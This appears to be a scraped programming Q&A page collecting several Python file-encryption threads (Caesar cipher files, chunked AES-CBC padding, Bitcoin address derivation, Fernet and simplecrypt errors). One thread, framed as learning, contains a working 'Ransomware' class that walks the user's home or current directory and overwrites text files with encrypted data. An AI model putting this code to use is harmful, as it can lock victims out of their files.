Decryption of files using python - python

Hey guys i have started doing some python coding and i was able to create this program that decrypts the encrypted text i provide with the use of the key i provide can someone help me change this decryption of text into decryption of files.
import sys
def decrypt(cipher, key):
plain = ""
for index in range(len(cipher)):
if cipher[index].isalpha():
if cipher[index].isupper():
plain = plain + chr((ord(cipher[index]) - 64 - key) % 26 + 64)
elif cipher[index].islower():
plain = plain + chr((ord(cipher[index]) - 96 - key) % 26 + 96)
else:
plain = plain + cipher[index]
return plain
in_filename = sys.argv[1]
key = int(sys.argv[2])
out_filename = sys.argv[3]
with open(in_filename, "r") as f:
encrypted = f.read()
decrypted = decrypt(encrypted, key)
with open(out_filename, "w+") as f:
f.write(decrypted)
cipher = sys.argv[1]
plain = sys.argv[1]
key = int(sys.argv[2])
print('{}'.format(cipher))
print('{}'.format(decrypt(cipher, key)))
i can use my current program by typing in this command in the terminal
python cipher.py 'Yaholy' 7 which decrypts this word into Rather

You can use what you already have, and just read from a file and then write the result back out.
in_filename = sys.argv[1]
key = int(sys.argv[2])
out_filename = sys.argv[3] # if you want
with open(in_filename, "r") as f:
encrypted = f.read()
decrypted = decrypt(encrypted, key)
with open(out_filename, "w+") as f:
f.write(decrypted)
print(decrypted) # if you don't want to save to a file
Then you can call it with, for example, python cipher.py encrypted.txt 7 decrypted.txt.

Related

AES encryption and padding across multiple blocks

I am encrypting a large (100GB+) file with Python using PyCryptodome using AES-256 in CBC mode.
Rather than read the entire file into memory and encrypt it in one fell swoop, I would like to read the input file a 'chunk' at a time and append to the output file with the results of encrypting each 'chunk.'
Regrettably, the documentation for PyCryptodome is lacking in that I can't find any examples of how to encrypt a long plaintext with multiple calls to encrypt(). All the examples use a short plaintext and encrypt the entire plaintext in a single call to encrypt().
I had assumed that if my input 'chunk' is a multiple of 16 bytes (the block size of AES in CBC mode) I wouldn't need to add padding to any 'chunk' but the last one. However, I wasn't able to get that to work. (I got padding errors while decrypting.)
I'm finding that in order to successfully decrypt the file, I need to add padding to every 'chunk' when encrypting, and decrypt in units of the input chunk size plus 16 bytes. This means the decrypting process needs to know the 'chunk size' used for encryption, which makes me believe that this is probably an incorrect implementation.
While I do have my encryption/decryption working as described, I wonder if this is the 'correct' way to do it. (I suspect it is not.) I've read inconsistent claims on whether or not every such 'chunk' needs padding. If not, I'd like some handholding to get Pycryptodome to encrypt and then decrypt a large plaintext across multiple calls to encrypt() and decrypt().
EDIT: This code throws a ValueError, "Padding is incorrect," when decrpyting the first 'chunk'.
def encrypt_file(infile, outfile, aeskey, iv):
cipher = AES.new(aeskey, AES.MODE_CBC, iv)
with open(infile, "rb") as fin:
with open(outfile, "wb") as fout:
while True:
data = fin.read(16 * 32)
if len(data) ==0:
break
insize = len(data)
if insize == (16 * 32):
padded_data = data
else:
padded_data = pad(data, AES.block_size)
fout.write(cipher.encrypt(padded_data))
def decrypt_file(infile, outfile, aeskey, iv):
cipher = AES.new(aeskey, AES.MODE_CBC, iv)
with open (infile, "rb") as fin:
with open(outfile, "wb") as fout:
while True:
data = fin.read(16 * 32)
if len(data) == 0:
break
fout.write(unpad(cipher.decrypt(data), AES.block_size))
My problem was related to the PAD of the last block. It is necessary to detect which is the last fragment read in bytes in order to add the PAD.
def decrypt_file(
self, filename: str, output_file: str, save_path: str, key, iv
):
cipher_aes = AES.new(key, AES.MODE_CBC, iv)
log.info(f'Decrypting file: {filename} output: {output_file}')
count = 0
previous_data = None
with open(filename, "rb") as f, open(
f"{save_path}/{output_file}", "wb"
) as f2:
while True:
count+=1
data = f.read(self.block_size)
if data == b"":
decrypted = cipher_aes.decrypt(previous_data)
log.info(f'Last block UnPadding Count: {count} BlockSize: {self.block_size}')
decrypted = unpad(decrypted, AES.block_size, style="pkcs7")
f2.write(decrypted)
break
if previous_data:
decrypted = cipher_aes.decrypt(previous_data)
f2.write(decrypted)
previous_data = data
And apply the decrypt:
def decrypt_file(
self, filename: str, output_file: str, save_path: str, key, iv
):
cipher_aes = AES.new(key, AES.MODE_CBC, iv)
log.info(f'Decrypting file: {filename} output: {output_file}')
count = 0
previous_data = None
with open(filename, "rb") as f, open(
f"{save_path}/{output_file}", "wb"
) as f2:
while True:
count+=1
data = f.read(self.block_size)
if data == b"":
decrypted = cipher_aes.decrypt(previous_data)
log.info(f'Last block UnPadding Count: {count} BlockSize: {self.block_size}')
decrypted = unpad(decrypted, AES.block_size, style="pkcs7")
f2.write(decrypted)
break
if previous_data:
decrypted = cipher_aes.decrypt(previous_data)
f2.write(decrypted)
previous_data = data
It looks like the fix is to do similar chunksize/padding comparison in the decrypt function as I used in the encrypt function:
def decrypt_file(infile, outfile, aeskey, iv):
cipher = AES.new(aeskey, AES.MODE_CBC, iv)
with open (infile, "rb") as fin:
with open(outfile, "wb") as fout:
while True:
data = fin.read(16 * 32)
if len(data) == 0:
break
if len(data) == (16 * 32):
decrypted_data = cipher.decrypt(data)
else:
decrypted_data = unpad(cipher.decrypt(data), AES.block_size)
fout.write(decrypted_data)

Convert Bitcoin private key from file text

Good afternoon, friends, I just started learning python, I found this code that suits my needs, but on the way out everything is synchronized in one line, help me with this problem.
"
import ecdsa
import hashlib
import base58
with open("my_private_key.txt", "r") as f: #Input file path
for line in f:
#Convert hex private key to bytes
private_key = bytes.fromhex(line)
#Derivation of the private key
signing_key = ecdsa.SigningKey.from_string(private_key, curve=ecdsa.SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key = bytes.fromhex("04") + verifying_key.to_string()
#Hashes of public key
sha256_1 = hashlib.sha256(public_key)
ripemd160 = hashlib.new("ripemd160")
ripemd160.update(sha256_1.digest())
#Adding prefix to identify Network
hashed_public_key = bytes.fromhex("00") + ripemd160.digest()
#Checksum calculation
checksum_full = hashlib.sha256(hashlib.sha256(hashed_public_key).digest()).digest()
checksum = checksum_full[:4]
#Adding checksum to hashpubkey
bin_addr = hashed_public_key + checksum
#Encoding to address
address = str(base58.b58encode(bin_addr))
final_address = address[2:-1]
print(final_address)
with open("my_addresses.txt", "a") as i:
i.write(final_address)
"
print writes a trailing newline after writing all its arguments. write does not; you have to supply it yourself.
with open("my_addresses.txt", "a") as i:
i.write(final_address + "\n")
Or, you can use print:
with open("my_addresses.txt", "a") as i:
print(final_address, file=i)
Ignoring many of its keyword arguments, print is defined something like
def print(*args, end='\n', sep=' ', file=sys.stdout):
file.write(sep.join(args))
file.write(end)
Also, note that you don't need to repeatedly open your output file. You can open it at the same time as the input and leave it open for the duration of the loop.
with open("my_private_key.txt", "r") as f, \
open("my_addresses.txt", "a") as i:
for line in f:
...
print(final_address, file=i)

Python cryptography.fernet file decrypt

I am working on Ransomware for learning.
So I Copy-and-pasted this and edited it like this
but When I encrypt and decrypt a text file, it appends a string that looks like a random string. How can I fix this issue?
like:
Hello, World!
to
Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==
with this keyfile:
aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=
the problem is that you encrypt then decrypt. Your encryption and decryption function is working fine the issue is that you always seek to the beginning of the file to write any changes this will work fine with encryption and will work fine with decryption if the the plaintext and ciphertext is of same size(no padding) but will place decrypted plaintext that is not as same same size of ciphertext at beginning of file and leave the rest of file unchanged so you need to truncate the remainder part of ciphertext.
import os
from os.path import expanduser
from cryptography.fernet import Fernet
class Ransomware(object):
def __init__(self):
self.key = None
self.cryptor = None
self.file_ext_targets = ["txt"] # Type of files, you're going to encrypt
def generate_key(self):
self.key = Fernet.generate_key()
self.cryptor = Fernet(self.key)
def read_key(self, keyfile_name):
with open(keyfile_name, "rb") as f:
self.key = f.read()
self.cryptor = Fernet(self.key)
def write_key(self, keyfile_name):
print(self.key)
with open(keyfile_name, "wb") as f:
f.write(self.key)
def crypt_root(self, root_dir, encrypted=False):
for root, _, files in os.walk(root_dir):
for f in files:
abs_file_path = os.path.join(root, f)
if not abs_file_path.split(".")[-1] in self.file_ext_targets:
continue
self.crypt_file(abs_file_path, encrypted=encrypted)
def crypt_file(self, file_path, encrypted=False):
with open(file_path, "rb+") as f:
_data = f.read()
if not encrypted:
# Encrypt
print()
data = self.cryptor.encrypt(_data)
f.seek(0)
f.write(data)
else:
data = self.cryptor.decrypt(_data)
print(f"File content before encryption: {data}")
f.seek(0)
f.write(data)
f.truncate()
sys_root = expanduser("~")
local_root = "."
keyfile = "./keyfile"
ransom = Ransomware()
def encrypt():
ransom.generate_key()
ransom.write_key("keyfile")
ransom.crypt_root(local_root)
def decrypt():
ransom.read_key(keyfile)
ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()

How do I resolves the Fernet key error in python?

I am trying to encrypt Passwords but the function below
def Get_En_PassID():
Filename = 'Login_Token.bin'
if os.path.exists(Filename):
with open(Filename, 'rb') as file_object:
for line in file_object:
encryptedpwd = line.decode('utf-8')
key = encryptedpwd
print(key)
#return encryptedpwd
else:
PW = "encrypted message"
cipher_suite = Fernet(Fernet.generate_key())
#ciphered_text = cipher_suite.encrypt(bytes(PW,'utf-8')) #required to be bytes
ciphered_text = cipher_suite.encrypt(PW.encode('utf-8')) #required to be bytes
with open(Filename, 'wb') as file_object: file_object.write(ciphered_text)
key = ciphered_text
#return ciphered_text
f = Fernet(key)
p = f.decrypt(key)
print(p)
only returning ValueError: Fernet key must be 32 url-safe base64-encoded bytes.
Can you tell me what I'm doing wrong?
I've seen a different question with similar problem and I've tried it but it's still giving this error
the token that's in the file : gAAAAABfpT0o0lcFJnvTUFmPvwEnrkX7-PK2Bs4t---QDK...b7XdJEr40nJnFAfNM=

SimpleCrypt Python Error

I am using the simplecrypt library to encrypt a file, however I cannot seem to read the file in a way that simplecrypt can decode it.
Encryption code:
from simplecrypt import encrypt, decrypt
def encrypt_file(file_name, key):
with open(file_name, 'rb') as fo:
plaintext = fo.read()
enc = encrypt(plaintext, key)
with open(file_name + ".enc", 'wb') as fo:
fo.write(enc)
encrypt_file("test.txt", "securepass")
This works fine and runs without any errors, however as soon as i try to decode it i get this error (using the below code)
simplecrypt.DecryptionException: Data to decrypt must be bytes; you cannot use a string because no string encoding will accept all possible characters.
from simplecrypt import encrypt, decrypt
def decrypt_file(file_name, key):
with open(file_name, 'rb') as fo:
ciphertext = fo.read()
dec = decrypt(ciphertext, key)
with open(file_name[:-4], 'wb') as fo:
fo.write(dec)
decrypt_file("test.txt.enc", "securepass")
Aha... Minor mistake :-)
According to the docs in the link you provided in your question, the arguments to symplecrypt.encrypt and simplecrypt.decrypt are ('password', text). In your code you've got that inverted ( (text, key) ). You're passing the text to encrypt/decrypt in the first argument and the key in the second. Just reverse that order and will work.
Working example:
from simplecrypt import encrypt, decrypt
def encrypt_file(file_name, key):
with open(file_name, 'rb') as fo:
plaintext = fo.read()
print "Text to encrypt: %s" % plaintext
enc = encrypt(key, plaintext)
with open(file_name + ".enc", 'wb') as fo:
fo.write(enc)
def decrypt_file(file_name, key):
with open(file_name, 'rb') as fo:
ciphertext = fo.read()
dec = decrypt(key, ciphertext)
print "decrypted text: %s" % dec
with open(file_name[:-4], 'wb') as fo:
fo.write(dec)
if __name__ == "__main__":
encrypt_file("test.txt", "securepass")
decrypt_file("test.txt.enc", "securepass")

Categories